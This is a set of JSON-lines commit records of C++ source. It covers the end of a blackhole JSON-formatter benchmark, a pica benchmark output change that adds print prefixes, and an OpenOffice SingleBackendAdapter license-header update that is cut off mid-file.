{\"spanid\",    42              }\n    };\n    const attribute_pack pack{attributes};\n    record_t record(0, message, pack);\n    writer_t writer;\n\n    while (state.KeepRunning()) {\n        formatter.format(record, writer);\n        writer.inner.clear();\n    }\n\n    state.SetItemsProcessed(state.iterations());\n}\n\nstatic void format_json_message_routed_attr5_unique(::benchmark::State& state) {\n    auto formatter = json_t::builder_t()\n        .route(\"\/fields\", {\"endpoint\", \"severity\", \"process\", \"thread\"})\n        .unique()\n        .build();\n\n    const string_view message(\"registering component 'storage' in category 'cocaine::api::service_t'\");\n    const attribute_list attributes{\n        {\"endpoint\",  \"127.0.0.1:8080\"},\n        {\"source\",    \"app\/testing\"   },\n        {\"requestid\", 100500          },\n        {\"spanid\",    0               },\n        {\"spanid\",    42              }\n    };\n    const attribute_pack pack{attributes};\n    record_t record(0, message, pack);\n    writer_t writer;\n\n    while (state.KeepRunning()) {\n        formatter.format(record, writer);\n        writer.inner.clear();\n    }\n\n    state.SetItemsProcessed(state.iterations());\n}\n\nNBENCHMARK(\"formatter.json\", format_json);\nNBENCHMARK(\"formatter.json[route]\", format_json_message_routed);\nNBENCHMARK(\"formatter.json[route + attr: 1]\", format_json_message_routed_attr);\nNBENCHMARK(\"formatter.json[route + attr: 5]\", format_json_message_routed_attr5);\nNBENCHMARK(\"formatter.json[route + attr: 5 + unique]\", format_json_message_routed_attr5_unique);\n\n}  \/\/ namespace benchmark\n}  \/\/ namespace blackhole\n<|endoftext|>"}
{"text":"<commit_before>#include \"Output.h\"\r\n\r\n#include \"Parser.h\"\r\n#include \"PerformanceTracker.h\"\r\n\r\n#include \"pica\/utility\/Utility.h\"\r\n#include \"pica\/threading\/OpenMPHelper.h\"\r\n\r\n#include <iostream>\r\n#include <map>\r\n#include <string>\r\n\r\nusing namespace pica;\r\nusing namespace std;\r\n\r\n\r\nmap<PerformanceTracker::Stage, string> getStageNames();\r\n\r\nvoid printHeader()\r\n{\r\n    string message = \"pica benchmark, \";\r\n    if (useOpenMP())\r\n        message += toString(getNumThreads()) + \" OpenMP threads.\";\r\n    else\r\n        message += \"OpenMP disabled.\";\r\n    cout << message << \"\\n\";\r\n}\r\n\r\nvoid printParameters(const Parameters& parameters)\r\n{\r\n    cout << \"\\nParameters:\\n\";\r\n    cout << \"Dimension = \" << parameters.dimension << \"\\n\";\r\n    cout << \"Grid size = \" << toString(parameters.numCells) << \"\\n\";\r\n    cout << parameters.numIterations << \" time steps\\n\";\r\n}\r\n\r\nvoid printPerformance(const PerformanceTracker& tracker)\r\n{\r\n    cout << \"\\nPerformance results:\\n\";\r\n    map<PerformanceTracker::Stage, string> stageNames = getStageNames();\r\n    PerformanceTracker::StageTime stageTime = tracker.getStageTime();\r\n    for (PerformanceTracker::StageTime::iterator i = stageTime.begin(); i != stageTime.end(); i++)\r\n        cout << stageNames[i->first] << \": \" << i->second << \" sec.\\n\";\r\n}\r\n\r\nmap<PerformanceTracker::Stage, string> getStageNames()\r\n{\r\n    map<PerformanceTracker::Stage, string> names;\r\n    names[PerformanceTracker::Stage_CurrentDeposition] = \"Current deposition\";\r\n    names[PerformanceTracker::Stage_FieldSolver] = \"Field solver\";\r\n    names[PerformanceTracker::Stage_ParticleLoop] = \"Particle loop\";\r\n    return names;\r\n}\r\n<commit_msg>Add prefixes for output of parameters and performance data.<commit_after>#include \"Output.h\"\r\n\r\n#include \"Parser.h\"\r\n#include \"PerformanceTracker.h\"\r\n\r\n#include \"pica\/utility\/Utility.h\"\r\n#include \"pica\/threading\/OpenMPHelper.h\"\r\n\r\n#include <iostream>\r\n#include <map>\r\n#include <string>\r\n\r\nusing namespace pica;\r\nusing namespace std;\r\n\r\n\r\nmap<PerformanceTracker::Stage, string> getStageNames();\r\n\r\nstring getPrefix()\r\n{\r\n    return \"   \";\r\n}\r\n\r\nvoid printHeader()\r\n{\r\n    string message = \"pica benchmark, \";\r\n    if (useOpenMP())\r\n        message += toString(getNumThreads()) + \" OpenMP threads.\";\r\n    else\r\n        message += \"OpenMP disabled.\";\r\n    cout << message << \"\\n\";\r\n}\r\n\r\nvoid printParameters(const Parameters& parameters)\r\n{\r\n    string prefix = getPrefix();\r\n    cout << \"\\nParameters:\\n\";\r\n    cout << prefix << \"Dimension = \" << parameters.dimension << \"\\n\";\r\n    cout << prefix << \"Grid size = \" << toString(parameters.numCells) << \"\\n\";\r\n    cout << prefix << parameters.numIterations << \" time steps\\n\";\r\n}\r\n\r\nvoid printPerformance(const PerformanceTracker& tracker)\r\n{\r\n    string prefix = getPrefix();\r\n    cout << \"\\nPerformance results:\\n\";\r\n    map<PerformanceTracker::Stage, string> stageNames = getStageNames();\r\n    PerformanceTracker::StageTime stageTime = tracker.getStageTime();\r\n    for (PerformanceTracker::StageTime::iterator i = stageTime.begin(); i != stageTime.end(); i++)\r\n        cout << prefix << stageNames[i->first] << \": \" << i->second << \" sec.\\n\";\r\n}\r\n\r\nmap<PerformanceTracker::Stage, string> getStageNames()\r\n{\r\n    map<PerformanceTracker::Stage, string> names;\r\n    names[PerformanceTracker::Stage_CurrentDeposition] = \"Current deposition\";\r\n    names[PerformanceTracker::Stage_FieldSolver] = \"Field solver\";\r\n    names[PerformanceTracker::Stage_ParticleLoop] = \"Particle loop\";\r\n    return names;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: singlebackendadapter.cxx,v $\n *\n *  $Revision: 1.10 $\n *\n *  last change: $Author: hr $ $Date: 2004-06-18 15:49:07 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef CONFIGMGR_BACKEND_SINGLEBACKENDADAPTER_HXX_\n#include \"singlebackendadapter.hxx\"\n#endif \/\/ CONFIGMGR_BACKEND_SINGLEBACKENDADAPTER_HXX_\n\n#ifndef CONFIGMGR_API_FACTORY_HXX_\n#include \"confapifactory.hxx\"\n#endif \/\/ CONFIGMGR_API_FACTORY_HXX_\n\n#ifndef CONFIGMGR_SERVICEINFOHELPER_HXX_\n#include \"serviceinfohelper.hxx\"\n#endif \/\/ CONFIGMGR_SERVICEINFOHELPER_HXX_\n\n#ifndef _COM_SUN_STAR_CONFIGURATION_BACKEND_XMULTILAYERSTRATUM_HPP_\n#include <com\/sun\/star\/configuration\/backend\/XMultiLayerStratum.hpp>\n#endif\n#ifndef _COM_SUN_STAR_CONFIGURATION_CANNOTLOADCONFIGURATIONEXCEPTION_HPP_\n#include <com\/sun\/star\/configuration\/CannotLoadConfigurationException.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_DISPOSEDEXCEPTION_HPP_\n#include <com\/sun\/star\/lang\/DisposedException.hpp>\n#endif\nnamespace configmgr { namespace backend {\n\n\/\/==============================================================================\n\nSingleBackendAdapter::SingleBackendAdapter(\n        const uno::Reference<uno::XComponentContext>& xContext)\n        : BackendBase(mMutex), mFactory(xContext->getServiceManager(),uno::UNO_QUERY) {\n}\n\/\/------------------------------------------------------------------------------\n\nSingleBackendAdapter::~SingleBackendAdapter(void) {}\n\/\/------------------------------------------------------------------------------\n\nvoid SAL_CALL SingleBackendAdapter::initialize(\n        const uno::Sequence<uno::Any>& aParameters)\n    throw (uno::RuntimeException, uno::Exception) {\n\n    uno::Any const * const pParams = aParameters.getConstArray();\n    sal_Int32 nCount = aParameters.getLength();\n\n    for (sal_Int32 ix = 0; ix < nCount; ++ix)\n    {\n        if (pParams[ix] >>= mBackend) break;\n    }\n\n    if (!mBackend.is())\n    {\n        throw com::sun::star::configuration::CannotLoadConfigurationException(\n            OUString::createFromAscii(\"Online SingleBackend Adapter: Cannot operate without real (Single)Backend\"),\n            *this);\n    }\n}\n\/\/------------------------------------------------------------------------------\nstatic inline OUString getSingleLayerDummyEntity()\n{ return OUString(RTL_CONSTASCII_USTRINGPARAM(\"*\")); }\n\/\/------------------------------------------------------------------------------\nbool SingleBackendAdapter::checkOkState()\n{\n    if (!mBackend.is())\n    {\n        if(rBHelper.bDisposed)\n        {\n            throw lang::DisposedException(rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\n            \"SingleBackendAdapter: Backend already disposed\")),*this);\n        }\n        else\n        {\n            throw backenduno::BackendAccessException(rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\n            \"SingleBackendAdapter: Object was never Initialised\")),*this,uno::Any() );\n        }\n    }\n    return true;\n}\n\n\/\/------------------------------------------------------------------------------\n\n\/\/ XBackendEntities\nrtl::OUString SAL_CALL\n    SingleBackendAdapter::getOwnerEntity(  )\n        throw (uno::RuntimeException)\n{\n    if (mBackend.is())\n    {\n        uno::Reference< backenduno::XBackendEntities > xEntities( mBackend, uno::UNO_REF_QUERY_THROW );\n\n        return xEntities->getOwnerEntity();\n    }\n    else\n    {\n        throw uno::RuntimeException(rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\n            \"SingleBackendAdapter: Object was never Initialised\")),*this);\n    }\n}\n\/\/------------------------------------------------------------------------------\n\nrtl::OUString SAL_CALL\n    SingleBackendAdapter::getAdminEntity(  )\n        throw (uno::RuntimeException)\n{\n    if (mBackend.is())\n    {\n        uno::Reference< backenduno::XBackendEntities > xEntities( mBackend, uno::UNO_REF_QUERY_THROW );\n        return xEntities->getAdminEntity();\n    }\n    else\n    {\n        throw uno::RuntimeException(rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\n            \"SingleBackendAdapter: Object was never Initialised\")),*this);\n    }\n}\n\/\/------------------------------------------------------------------------------\n\nsal_Bool SAL_CALL\n    SingleBackendAdapter::supportsEntity( const rtl::OUString& aEntity )\n    throw (backenduno::BackendAccessException, uno::RuntimeException)\n{\n    if (checkOkState())\n    {\n        uno::Reference< backenduno::XBackendEntities > xEntities( mBackend, uno::UNO_REF_QUERY_THROW );\n        return xEntities->supportsEntity(aEntity);\n    }\n    return false;\n}\n\/\/------------------------------------------------------------------------------\n\nsal_Bool SAL_CALL\n    SingleBackendAdapter::isEqualEntity( const rtl::OUString& aEntity, const rtl::OUString& aOtherEntity )\n        throw (backenduno::BackendAccessException,\n                lang::IllegalArgumentException,\n                uno::RuntimeException)\n{\n    if (checkOkState())\n    {\n        uno::Reference< backenduno::XBackendEntities > xEntities( mBackend, uno::UNO_REF_QUERY_THROW );\n        return xEntities->isEqualEntity(aEntity,aOtherEntity);\n    }\n    return false;\n}\n\/\/------------------------------------------------------------------------------\n\nuno::Reference<backenduno::XSchema> SAL_CALL\n    SingleBackendAdapter::getComponentSchema(const rtl::OUString& aComponent)\n        throw (backenduno::BackendAccessException,\n                lang::IllegalArgumentException,\n                uno::RuntimeException)\n{\n    if (checkOkState())\n    {\n        return mBackend->getComponentSchema(aComponent) ;\n    }\n    return false;\n}\n\/\/------------------------------------------------------------------------------\n\nuno::Sequence<uno::Reference<backenduno::XLayer> > SAL_CALL\n    SingleBackendAdapter::listOwnLayers(const rtl::OUString& aComponent)\n        throw (backenduno::BackendAccessException,\n                lang::IllegalArgumentException,\n                uno::RuntimeException)\n{\n    if (checkOkState())\n    {\n        return listLayers(aComponent, this->getOwnerEntity()) ;\n    }\n    return false;\n}\n\/\/------------------------------------------------------------------------------\n\nuno::Reference<backenduno::XUpdateHandler> SAL_CALL\n    SingleBackendAdapter::getOwnUpdateHandler(const rtl::OUString& aComponent)\n        throw (backenduno::BackendAccessException,\n                lang::NoSupportException,\n                lang::IllegalArgumentException,\n                uno::RuntimeException)\n{\n    if (checkOkState())\n    {\n        return getUpdateHandler(aComponent, this->getOwnerEntity()) ;\n    }\n    return false;\n}\n\/\/------------------------------------------------------------------------------\n\nuno::Sequence<uno::Reference<backenduno::XLayer> > SAL_CALL\n    SingleBackendAdapter::listLayers(const rtl::OUString& aComponent,\n                                          const rtl::OUString& aEntity)\n        throw (backenduno::BackendAccessException,\n                lang::IllegalArgumentException,\n                uno::RuntimeException)\n{\n    if (checkOkState())\n    {\n        uno::Reference< backenduno::XMultiLayerStratum > xBackend( mBackend, uno::UNO_REF_QUERY_THROW );\n\n        uno::Sequence<uno::Reference<backenduno::XLayer> > retCode =\n            xBackend->getLayers(xBackend->listLayerIds(aComponent, aEntity),\n                            rtl::OUString()) ;\n\n        \/\/ There might be non-existent layers in the list if there's no\n        \/\/ actual data associated to a given layer id. Hence we have to\n        \/\/ compress the list.\n        sal_Int32 maxLayer = 0 ;\n\n        for (sal_Int32 i = 0 ; i < retCode.getLength() ; ++ i)\n        {\n            if (retCode [i].is())\n            {\n                if (i != maxLayer) { retCode [maxLayer] = retCode [i] ; }\n                ++ maxLayer ;\n            }\n        }\n        retCode.realloc(maxLayer) ;\n        return retCode ;\n    }\n    return false;\n}\n\/\/------------------------------------------------------------------------------\n\nuno::Reference<backenduno::XUpdateHandler> SAL_CALL\n    SingleBackendAdapter::getUpdateHandler(const rtl::OUString& aComponent,\n                                                const rtl::OUString& aEntity)\n        throw (backenduno::BackendAccessException,\n                lang::NoSupportException,\n                lang::IllegalArgumentException,\n                uno::RuntimeException)\n{\n    if (checkOkState())\n    {\n        uno::Reference< backenduno::XMultiLayerStratum > xBackend( mBackend, uno::UNO_REF_QUERY_THROW );\n\n        uno::Sequence<uno::Any> arguments(1) ;\n\n        arguments [0] <<= xBackend->getUpdatableLayer(\n                                        xBackend->getUpdateLayerId(aComponent,\n                                                                   aEntity)) ;\n        uno::Reference< uno::XInterface > xHandler;\n        try\n        {\n            const rtl::OUString kUpdateMerger(RTL_CONSTASCII_USTRINGPARAM(\n                \"com.sun.star.configuration.backend.LayerUpdateMerger\")) ;\n\n            xHandler = mFactory->createInstanceWithArguments(kUpdateMerger, arguments);\n        }\n        catch (uno::RuntimeException & )\n        {throw;}\n        catch (uno::Exception & e)\n        {\n            const rtl::OUString sMessage(RTL_CONSTASCII_USTRINGPARAM(\n                \"Configuration SingleBackendAdapter: Cannot create UpdateMerger - error message: \")) ;\n            throw uno::RuntimeException(sMessage.concat(e.Message),*this);\n        }\n\n        return uno::Reference<backenduno::XUpdateHandler>(xHandler, uno::UNO_REF_QUERY_THROW) ;\n    }\n    return false;\n}\n\/\/------------------------------------------------------------------------------\n\nstatic const sal_Char * const kBackendService = \"com.sun.star.configuration.backend.Backend\" ;\nstatic const sal_Char * const kAdapterService = \"com.sun.star.configuration.backend.BackendAdapter\" ;\nstatic const sal_Char * const kOnlineService  = \"com.sun.star.configuration.backend.OnlineBackend\" ;\n\nstatic const sal_Char * const kImplementation =\n                \"com.sun.star.comp.configuration.backend.SingleBackendAdapter\" ;\n\nstatic const AsciiServiceName kServiceNames [] =\n{\n    kOnlineService,\n    kAdapterService,\n    0,\n    kBackendService,\n    0\n} ;\nstatic const ServiceImplementationInfo kServiceInfo =\n{\n    kImplementation,\n    kServiceNames,\n    kServiceNames + 3\n} ;\n\nconst ServiceRegistrationInfo *getSingleBackendAdapterServiceInfo()\n{\n    return getRegistrationInfo(&kServiceInfo) ;\n}\n\nuno::Reference<uno::XInterface> SAL_CALL\n    instantiateSingleBackendAdapter(const CreationContext& xContext)\n{\n    return *new SingleBackendAdapter(xContext) ;\n}\n\/\/------------------------------------------------------------------------------\n\nstatic const rtl::OUString kImplementationName(\n                                RTL_CONSTASCII_USTRINGPARAM(kImplementation)) ;\n\nrtl::OUString SAL_CALL\n    SingleBackendAdapter::getName(void)\n{\n    return kImplementationName ;\n}\n\/\/------------------------------------------------------------------------------\n\nrtl::OUString SAL_CALL\n    SingleBackendAdapter::getImplementationName(void)\n        throw (uno::RuntimeException)\n{\n    return ServiceInfoHelper(&kServiceInfo).getImplementationName() ;\n}\n\/\/------------------------------------------------------------------------------\n\nsal_Bool SAL_CALL\n    SingleBackendAdapter::supportsService(const rtl::OUString& aServiceName)\n        throw (uno::RuntimeException)\n{\n    return  ServiceInfoHelper(&kServiceInfo).supportsService(aServiceName) ;\n}\n\/\/------------------------------------------------------------------------------\n\nuno::Sequence<rtl::OUString> SAL_CALL\n    SingleBackendAdapter::getServices()\n{\n    return ServiceInfoHelper(&kServiceInfo).getSupportedServiceNames() ;\n}\n\/\/------------------------------------------------------------------------------\n\nuno::Sequence<rtl::OUString> SAL_CALL\n    SingleBackendAdapter::getSupportedServiceNames(void)\n        throw (uno::RuntimeException)\n{\n    return ServiceInfoHelper(&kServiceInfo).getSupportedServiceNames() ;\n}\n\/\/------------------------------------------------------------------------------\n\n} } \/\/ configmgr.backend\n\n<commit_msg>INTEGRATION: CWS ooo19126 (1.10.74); FILE MERGED 2005\/09\/05 17:04:05 rt 1.10.74.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: singlebackendadapter.cxx,v $\n *\n *  $Revision: 1.11 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 03:34:20 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef CONFIGMGR_BACKEND_SINGLEBACKENDADAPTER_HXX_\n#include \"singlebackendadapter.hxx\"\n#endif \/\/ CONFIGMGR_BACKEND_SINGLEBACKENDADAPTER_HXX_\n\n#ifndef CONFIGMGR_API_FACTORY_HXX_\n#include \"confapifactory.hxx\"\n#endif \/\/ CONFIGMGR_API_FACTORY_HXX_\n\n#ifndef CONFIGMGR_SERVICEINFOHELPER_HXX_\n#include \"serviceinfohelper.hxx\"\n#endif \/\/ CONFIGMGR_SERVICEINFOHELPER_HXX_\n\n#ifndef _COM_SUN_STAR_CONFIGURATION_BACKEND_XMULTILAYERSTRATUM_HPP_\n#include <com\/sun\/star\/configuration\/backend\/XMultiLayerStratum.hpp>\n#endif\n#ifndef _COM_SUN_STAR_CONFIGURATION_CANNOTLOADCONFIGURATIONEXCEPTION_HPP_\n#include <com\/sun\/star\/configuration\/CannotLoadConfigurationException.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_DISPOSEDEXCEPTION_HPP_\n#include <com\/sun\/star\/lang\/DisposedException.hpp>\n#endif\nnamespace configmgr { namespace backend {\n\n\/\/==============================================================================\n\nSingleBackendAdapter::SingleBackendAdapter(\n        const uno::Reference<uno::XComponentContext>& xContext)\n        : BackendBase(mMutex), mFactory(xContext->getServiceManager(),uno::UNO_QUERY) {\n}\n\/\/------------------------------------------------------------------------------\n\nSingleBackendAdapter::~SingleBackendAdapter(void) {}\n\/\/------------------------------------------------------------------------------\n\nvoid SAL_CALL SingleBackendAdapter::initialize(\n        const uno::Sequence<uno::Any>& aParameters)\n    throw (uno::RuntimeException, uno::Exception) {\n\n    uno::Any const * const pParams = aParameters.getConstArray();\n    sal_Int32 nCount = aParameters.getLength();\n\n    for (sal_Int32 ix = 0; ix < nCount; ++ix)\n    {\n        if (pParams[ix] >>= mBackend) break;\n    }\n\n    if (!mBackend.is())\n    {\n        throw com::sun::star::configuration::CannotLoadConfigurationException(\n            OUString::createFromAscii(\"Online SingleBackend Adapter: Cannot operate without real (Single)Backend\"),\n            *this);\n    }\n}\n\/\/------------------------------------------------------------------------------\nstatic inline OUString getSingleLayerDummyEntity()\n{ return OUString(RTL_CONSTASCII_USTRINGPARAM(\"*\")); }\n\/\/------------------------------------------------------------------------------\nbool SingleBackendAdapter::checkOkState()\n{\n    if (!mBackend.is())\n    {\n        if(rBHelper.bDisposed)\n        {\n            throw lang::DisposedException(rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\n            \"SingleBackendAdapter: Backend already disposed\")),*this);\n        }\n        else\n        {\n            throw backenduno::BackendAccessException(rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\n            \"SingleBackendAdapter: Object was never Initialised\")),*this,uno::Any() );\n        }\n    }\n    return true;\n}\n\n\/\/------------------------------------------------------------------------------\n\n\/\/ XBackendEntities\nrtl::OUString SAL_CALL\n    SingleBackendAdapter::getOwnerEntity(  )\n        throw (uno::RuntimeException)\n{\n    if (mBackend.is())\n    {\n        uno::Reference< backenduno::XBackendEntities > xEntities( mBackend, uno::UNO_REF_QUERY_THROW );\n\n        return xEntities->getOwnerEntity();\n    }\n    else\n    {\n        throw uno::RuntimeException(rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\n            \"SingleBackendAdapter: Object was never Initialised\")),*this);\n    }\n}\n\/\/------------------------------------------------------------------------------\n\nrtl::OUString SAL_CALL\n    SingleBackendAdapter::getAdminEntity(  )\n        throw (uno::RuntimeException)\n{\n    if (mBackend.is())\n    {\n        uno::Reference< backenduno::XBackendEntities > xEntities( mBackend, uno::UNO_REF_QUERY_THROW );\n        return xEntities->getAdminEntity();\n    }\n    else\n    {\n        throw uno::RuntimeException(rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\n            \"SingleBackendAdapter: Object was never Initialised\")),*this);\n    }\n}\n\/\/------------------------------------------------------------------------------\n\nsal_Bool SAL_CALL\n    SingleBackendAdapter::supportsEntity( const rtl::OUString& aEntity )\n    throw (backenduno::BackendAccessException, uno::RuntimeException)\n{\n    if (checkOkState())\n    {\n        uno::Reference< backenduno::XBackendEntities > xEntities( mBackend, uno::UNO_REF_QUERY_THROW );\n        return xEntities->supportsEntity(aEntity);\n    }\n    return false;\n}\n\/\/------------------------------------------------------------------------------\n\nsal_Bool SAL_CALL\n    SingleBackendAdapter::isEqualEntity( const rtl::OUString& aEntity, const rtl::OUString& aOtherEntity )\n        throw (backenduno::BackendAccessException,\n                lang::IllegalArgumentException,\n                uno::RuntimeException)\n{\n    if (checkOkState())\n    {\n        uno::Reference< backenduno::XBackendEntities > xEntities( mBackend, uno::UNO_REF_QUERY_THROW );\n        return xEntities->isEqualEntity(aEntity,aOtherEntity);\n    }\n    return false;\n}\n\/\/------------------------------------------------------------------------------\n\nuno::Reference<backenduno::XSchema> SAL_CALL\n    SingleBackendAdapter::getComponentSchema(const rtl::OUString& aComponent)\n        throw (backenduno::BackendAccessException,\n                lang::IllegalArgumentException,\n                uno::RuntimeException)\n{\n    if (checkOkState())\n    {\n        return mBackend->getComponentSchema(aComponent) ;\n    }\n    return false;\n}\n\/\/------------------------------------------------------------------------------\n\nuno::Sequence<uno::Reference<backenduno::XLayer> > SAL_CALL\n    SingleBackendAdapter::listOwnLayers(const rtl::OUString& aComponent)\n        throw (backenduno::BackendAccessException,\n                lang::IllegalArgumentException,\n                uno::RuntimeException)\n{\n    if (checkOkState())\n    {\n        return listLayers(aComponent, this->getOwnerEntity()) ;\n    }\n    return false;\n}\n\/\/------------------------------------------------------------------------------\n\nuno::Reference<backenduno::XUpdateHandler> SAL_CALL\n    SingleBackendAdapter::getOwnUpdateHandler(const rtl::OUString& aComponent)\n        throw (backenduno::BackendAccessException,\n                lang::NoSupportException,\n                lang::IllegalArgumentException,\n                uno::RuntimeException)\n{\n    if (checkOkState())\n    {\n        return getUpdateHandler(aComponent, this->getOwnerEntity()) ;\n    }\n    return false;\n}\n\/\/------------------------------------------------------------------------------\n\nuno::Sequence<uno::Reference<backenduno::XLayer> > SAL_CALL\n    SingleBackendAdapter::listLayers(const rtl::OUString& aComponent,\n                                          const rtl::OUString& aEntity)\n        throw (backenduno::BackendAccessException,\n                lang::IllegalArgumentException,\n                uno::RuntimeException)\n{\n    if (checkOkState())\n    {\n        uno::Reference< backenduno::XMultiLayerStratum > xBackend( mBackend, uno::UNO_REF_QUERY_THROW );\n\n        uno::Sequence<uno::Reference<backenduno::XLayer> > retCode =\n            xBackend->getLayers(xBackend->listLayerIds(aComponent, aEntity),\n                            rtl::OUString()) ;\n\n        \/\/ There might be non-existent layers in the list if there's no\n        \/\/ actual data associated to a given layer id. Hence we have to\n        \/\/ compress the list.\n        sal_Int32 maxLayer = 0 ;\n\n        for (sal_Int32 i = 0 ; i < retCode.getLength() ; ++ i)\n        {\n            if (retCode [i].is())\n            {\n                if (i != maxLayer) { retCode [maxLayer] = retCode [i] ; }\n                ++ maxLayer ;\n            }\n        }\n        retCode.realloc(maxLayer) ;\n        return retCode ;\n    }\n    return false;\n}\n\/\/------------------------------------------------------------------------------\n\nuno::Reference<backenduno::XUpdateHandler> SAL_CALL\n    SingleBackendAdapter::getUpdateHandler(const rtl::OUString& aComponent,\n                                                const rtl::OUString& aEntity)\n        throw (backenduno::BackendAccessException,\n                lang::NoSupportException,\n                lang::IllegalArgumentException,\n                uno::RuntimeException)\n{\n    if (checkOkState())\n    {\n        uno::Reference< backenduno::XMultiLayerStratum > xBackend( mBackend, uno::UNO_REF_QUERY_THROW );\n\n        uno::Sequence<uno::Any> arguments(1) ;\n\n        arguments [0] <<= xBackend->getUpdatableLayer(\n                                        xBackend->getUpdateLayerId(aComponent,\n                                                                   aEntity)) ;\n        uno::Reference< uno::XInterface > xHandler;\n        try\n        {\n            const rtl::OUString kUpdateMerger(RTL_CONSTASCII_USTRINGPARAM(\n                \"com.sun.star.configuration.backend.LayerUpdateMerger\")) ;\n\n            xHandler = mFactory->createInstanceWithArguments(kUpdateMerger, arguments);\n        }\n        catch (uno::RuntimeException & )\n        {throw;}\n        catch (uno::Exception & e)\n        {\n            const rtl::OUString sMessage(RTL_CONSTASCII_USTRINGPARAM(\n                \"Configuration SingleBackendAdapter: Cannot create UpdateMerger - error message: \")) ;\n            throw uno::RuntimeException(sMessage.concat(e.Message),*this);\n        }\n\n        return uno::Reference<backenduno::XUpdateHandler>(xHandler, uno::UNO_REF_QUERY_THROW) ;\n    }\n    return false;\n}\n\/\/------------------------------------------------------------------------------\n\nstatic const sal_Char * const kBackendService = \"com.sun.star.configuration.backend.Backend\" ;\nstatic const sal_Char * const kAdapterService = \"com.sun.star.configuration.backend.BackendAdapter\" ;\nstatic const sal_Char * const kOnlineService  = \"com.sun.star.configuration.backend.OnlineBackend\" ;\n\nstatic const sal_Char * const kImplementation =\n                \"com.sun.star.comp.configuration.backend.SingleBackendAdapter\" ;\n\nstatic const AsciiServiceName kServiceNames [] =\n{\n    kOnlineService,\n    kAdapterService,\n    0,\n    kBackendService,\n    0\n} ;\nstatic const ServiceImplementationInfo kServiceInfo =\n{\n    kImplementation,\n    kServiceNames,\n    kServiceNames + 3\n} ;\n\nconst ServiceRegistrationInfo *getSingleBackendAdapterServiceInfo()\n{\n    return getRegistrationInfo(&kServiceInfo) ;\n}\n\nuno::Reference<uno::XInterface> SAL_CALL\n    instantiateSingleBackendAdapter(const CreationContext& xContext)\n{\n    return *new SingleBackendAdapter(xContext) ;\n}\n\/\/------------------------------------------------------------------------------\n\nstatic const rtl::OUString kImplementationName(\n                                RTL_CONSTASCII_USTRINGPARAM(kImplementation)) ;\n\nrtl::OUString SAL_CALL\n    SingleBackendAdapter::getName(void)\n{\n    return kImplementationName ;\n}\n\/\/------------------------------------------------------------------------------\n\nrtl::OUString SAL_CALL\n    SingleBackendAdapter::getImplementationName(void)\n        throw (uno::RuntimeException)\n{\n    return ServiceInfoHelper(&kServiceInfo).getImplementationName() ;\n}\n\/\/------------------------------------------------------------------------------\n\nsal_Bool SAL_CALL\n    SingleBackendAdapter::supportsService(const rtl::OUString& aServiceName)\n        throw (uno::RuntimeException)\n{\n    return  ServiceInfoHelper(&kServiceInfo).supportsService(aServiceName) ;\n}\n\/\/------------------------------------------------------------------------------\n\nuno::Sequence<rtl::OUString> SAL_CALL\n    SingleBackendAdapter::getServices()\n{\n    return 